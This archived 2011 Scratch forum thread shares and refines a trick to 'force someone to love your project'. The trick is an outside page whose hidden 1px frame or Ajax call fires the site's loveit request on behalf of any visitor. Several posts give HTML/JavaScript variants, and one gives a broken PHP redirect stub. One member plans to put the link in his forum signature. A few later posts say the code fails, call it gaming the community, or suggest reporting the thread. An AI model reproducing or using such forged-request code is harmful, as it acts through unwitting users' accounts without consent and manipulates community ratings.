This is a read-only archive of the old Scratch 1.x Forums.
Try searching the current Scratch discussion forums.

#1 2011-08-22 05:42:44

scimonster
Community Moderator
Registered: 2010-06-13
Posts: 1000+

I just figured out how to force someone to love your project!

This requires some HTML 4, and JS.
You need to host this code:

Code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<html>
<head>
<script type="text/javascript">
setTimeout("func()", 1);
function func()
{
window.location = "http://scratch.mit.edu/projects/scimonster/1967368";
}
</script>
</head>
<body>
<frame src="http://scratch.mit.edu/projects/scimonster/1967368/loveit" width="1px" height="1px" border="0" />
</body>
</html>

Then, link to the page.
If someone could work out how to use variables in the URL for the user and ID, that would be nice.  big_smile

Offline

 

#2 2011-08-22 05:48:42

LS97
Scratcher
Registered: 2009-06-14
Posts: 1000+

Re: I just figured out how to force someone to love your project!

scimonster wrote:

This requires some HTML 4, and JS.
You need to host this code:

Code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<html>
<head>
<script type="text/javascript">
setTimeout("func()", 1);
function func()
{
window.location = "http://scratch.mit.edu/projects/scimonster/1967368";
}
</script>
</head>
<body>
<frame src="http://scratch.mit.edu/projects/scimonster/1967368/loveit" width="1px" height="1px" border="0" />
</body>
</html>

Then, link to the page.
If someone could work out how to use variables in the URL for the user and ID, that would be nice.  big_smile

What do you mean for user and ID? And yeah, I used that URL once on one of my projects  tongue

Offline

 

#3 2011-08-22 06:02:53

Hardmath123
Scratcher
Registered: 2010-02-19
Posts: 1000+

Re: I just figured out how to force someone to love your project!

Code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<html>
<head>
<script type="text/javascript">
setTimeout("func()", 1);
var user = "Hardmath123";
var proj = "1967368";
function func()
{
window.location = "http://scratch.mit.edu/projects/"+user+"/"+proj;
}
</script>
</head>
<body>
<frame src="http://scratch.mit.edu/projects/scimonster/"+user+"/"+proj width="1px" height="1px" border="0" />
</body>
</html>

Hardmaths-MacBook-Pro:~ Hardmath$ sudo make $(whoami) a sandwich

Offline

 

#4 2011-08-22 06:29:44

nathanprocks
Scratcher
Registered: 2011-04-14
Posts: 1000+

Re: I just figured out how to force someone to love your project!

so does that mean if i put this in a file and upload it to my website, i can put a link to it in my sig and when people click it, it will automatically "click" the love-it button for my project?


http://carrot.cassiedragonandfriends.org/Scratch_Signature/randomsig.php
http://trinary.site40.net/images/scratchrank.php?username=nathanprocks&amp;display=small

Offline

 

#5 2011-08-22 06:31:52

scimonster
Community Moderator
Registered: 2010-06-13
Posts: 1000+

Re: I just figured out how to force someone to love your project!

Hardmath123 wrote:

Code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<html>
<head>
<script type="text/javascript">
setTimeout("func()", 1);
var user = "Hardmath123";
var proj = "1967368";
function func()
{
window.location = "http://scratch.mit.edu/projects/"+user+"/"+proj;
}
</script>
</head>
<body>
<frame src="http://scratch.mit.edu/projects/scimonster/"+user+"/"+proj width="1px" height="1px" border="0" />
</body>
</html>

No, what I meant is like loveit.htm?user=scimonster&proj=1967368

Offline

 

#6 2011-08-22 06:32:54

scimonster
Community Moderator
Registered: 2010-06-13
Posts: 1000+

Re: I just figured out how to force someone to love your project!

nathanprocks wrote:

so does that mean if i put this in a file and upload it to my website, i can put a link to it in my sig and when people click it, it will automatically "click" the love-it button for my project?

Yes.  smile

Offline

 

#7 2011-08-22 06:42:33

nathanprocks
Scratcher
Registered: 2011-04-14
Posts: 1000+

Re: I just figured out how to force someone to love your project!

scimonster wrote:

nathanprocks wrote:

so does that mean if i put this in a file and upload it to my website, i can put a link to it in my sig and when people click it, it will automatically "click" the love-it button for my project?

Yes.  smile

awesome!!!  big_smile


http://carrot.cassiedragonandfriends.org/Scratch_Signature/randomsig.php
http://trinary.site40.net/images/scratchrank.php?username=nathanprocks&amp;display=small

Offline

 

#8 2011-08-22 09:06:11

technoguyx
Scratcher
Registered: 2008-10-18
Posts: 1000+

Re: I just figured out how to force someone to love your project!

Oh exploitable.


http://getgnulinux.org/links/en/linuxliberated_4_78x116.png

Offline

 

#9 2011-08-22 09:30:37

LS97
Scratcher
Registered: 2009-06-14
Posts: 1000+

Re: I just figured out how to force someone to love your project!

Oh, you know you can do an automatic AJAX request on your site too  wink
It works better because it doesn't show the blank page.

Offline

 

#10 2011-08-22 09:47:19

roijac
Scratcher
Registered: 2010-01-19
Posts: 1000+

Re: I just figured out how to force someone to love your project!

or you can always link to the page like in my signature  smile

Offline

 

#11 2011-08-22 09:47:56

scimonster
Community Moderator
Registered: 2010-06-13
Posts: 1000+

Re: I just figured out how to force someone to love your project!

LS97 wrote:

Oh, you know you can do an automatic AJAX request on your site too  wink
It works better because it doesn't show the blank page.

No, I haven't learned AJAX yet. ;P

Offline

 

#12 2011-08-22 09:50:41

flashgocrazy
Scratcher
Registered: 2011-01-12
Posts: 500+

Re: I just figured out how to force someone to love your project!

click here if you support my cmd prompt this should be itopiced!


◕‿◕

Offline

 

#13 2011-08-22 09:56:13

flashgocrazy
Scratcher
Registered: 2011-01-12
Posts: 500+

Re: I just figured out how to force someone to love your project!


◕‿◕

Offline

 

#14 2011-08-22 10:43:53

scimonster
Community Moderator
Registered: 2010-06-13
Posts: 1000+

Re: I just figured out how to force someone to love your project!

flashgocrazy wrote:

click here if you support my cmd prompt this should be itopiced!

Thanks!
How about suggesting this to be stickied?  smile

Offline

 

#15 2011-08-22 10:45:19

roijac
Scratcher
Registered: 2010-01-19
Posts: 1000+

Re: I just figured out how to force someone to love your project!

btw-the code doesn't work, it has to be opened near the mouse...

Offline

 

#16 2011-08-22 16:45:01

flashgocrazy
Scratcher
Registered: 2011-01-12
Posts: 500+

Re: I just figured out how to force someone to love your project!

roijac wrote:

btw-the code doesn't work, it has to be opened near the mouse...

same here


◕‿◕

Offline

 

#17 2011-08-22 17:42:56

flashgocrazy
Scratcher
Registered: 2011-01-12
Posts: 500+

Re: I just figured out how to force someone to love your project!

scimonster wrote:

Hardmath123 wrote:

Code:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
<html>
<head>
<script type="text/javascript">
setTimeout("func()", 1);
var user = "Hardmath123";
var proj = "1967368";
function func()
{
window.location = "http://scratch.mit.edu/projects/"+user+"/"+proj;
}
</script>
</head>
<body>
<frame src="http://scratch.mit.edu/projects/scimonster/"+user+"/"+proj width="1px" height="1px" border="0" />
</body>
</html>

No, what I meant is like loveit.htm?user=scimonster&proj=1967368

Code:

<?php
//makes sure there is all the info needed
if(isset($_GET['user'])&&isset($_GET['redirecturl'])&&isset($_GET['projectid'])){
/******************************************************
*********************CODE TO EXECUTE HERE WHEN PAGE IS LOADED*********************
******************************************************* 
//start redirect with the GET request
//assumes that the get info for the redirecturl is ( example )scratch.mit.edu not http://scratch.mit.edu
header('Location: http://'.$_GET['redirecturl']);
}

?>

made by gp1, I need it to be uploaded someplace


◕‿◕

Offline

 

#18 2011-08-22 18:44:26

cskidmsonic
Scratcher
Registered: 2011-01-22
Posts: 100+

Re: I just figured out how to force someone to love your project!

I think Scratchers have been banned for putting a link like that in their signature.


This signature is TDD's fault... yes, I had to.

Offline

 

#19 2011-08-22 23:01:09

Sidharth
Scratcher
Registered: 2007-12-14
Posts: 100+

Re: I just figured out how to force someone to love your project!

Not trying to get anyone banned (and I don't plan on doing this myself) but to force someone to love your project, force them to invoke this javascript code on the page:

Code:

if (checkLoading()) {
    new Ajax.Updater('loveitDiv', '/projects/YourNameHere/YourNumberHere/loveit', {
        asynchronous: true,
        evalScripts: true,
        onComplete: function (request, json) {
            changeLoversCount(true);
        },
        requestHeaders: ['X-Update', 'loveitDiv']
    });
}

A way to do this would be to make a page and have an iframe containing the project page, and then invoke that code in the iframe. I tried this for a few minutes, but couldn't figure out how.

EDIT: I did not write that code, I found it buried in every project page on Scratch.

Last edited by Sidharth (2011-08-22 23:03:26)


http://www.danasoft.com/citysign.jpg

Offline

 

#20 2011-08-23 19:43:30

rubiks_cube_guy238
Scratcher
Registered: 2009-07-02
Posts: 100+

Re: I just figured out how to force someone to love your project!

I found another way to do this which involves no file hosting. I won't give any more details or ever use it, because I'm afraid if I do, it will be fixed. Go figure.


The glass is never half full nor half empty; it is twice as large as it needs to be.

Offline

 

#21 2011-08-24 08:21:15

Sidharth
Scratcher
Registered: 2007-12-14
Posts: 100+

Re: I just figured out how to force someone to love your project!

rubiks_cube_guy238 wrote:

I found another way to do this which involves no file hosting. I won't give any more details or ever use it, because I'm afraid if I do, it will be fixed. Go figure.

Do you not want it to be fixed? I doubt the Scratch team would fix it unless its ridiculously easy to do.

And, I don't want to go around loving random people's projects that I haven't even seen because of your method or whoever's at the cost of not being to be able to create one to force people to love mine.


http://www.danasoft.com/citysign.jpg

Offline

 

#22 2011-08-24 11:22:32

roijac
Scratcher
Registered: 2010-01-19
Posts: 1000+

Re: I just figured out how to force someone to love your project!

Shouldn't we better delete this topic?

Offline

 

#23 2011-08-24 13:03:44

rubiks_cube_guy238
Scratcher
Registered: 2009-07-02
Posts: 100+

Re: I just figured out how to force someone to love your project!

Sidharth wrote:

rubiks_cube_guy238 wrote:

I found another way to do this which involves no file hosting. I won't give any more details or ever use it, because I'm afraid if I do, it will be fixed. Go figure.

Do you not want it to be fixed? I doubt the Scratch team would fix it unless its ridiculously easy to do.

And, I don't want to go around loving random people's projects that I haven't even seen because of your method or whoever's at the cost of not being to be able to create one to force people to love mine.

As I said, I'm not using it, and I want to keep it to myself >:D



roijac wrote:

Shouldn't we better delete this topic?

I agree.


The glass is never half full nor half empty; it is twice as large as it needs to be.

Offline

 

#24 2011-08-24 13:04:17

kimmy123
Scratcher
Registered: 2008-05-20
Posts: 1000+

Re: I just figured out how to force someone to love your project!

Isn't this gaming the community?


http://i.imgur.com/Mg3TPIE.pnghttp://i.imgur.com/rgyzXV5.pnghttp://i.imgur.com/685FKVd.pnghttp://24.media.tumblr.com/8678e33865664f328e1654109679cb92/tumblr_mm1qu3jGD71s8caito3_r1_250.gif

Offline

 

#25 2011-08-24 13:36:57

roijac
Scratcher
Registered: 2010-01-19
Posts: 1000+

Re: I just figured out how to force someone to love your project!

Should I report this?

Offline

 

Board footer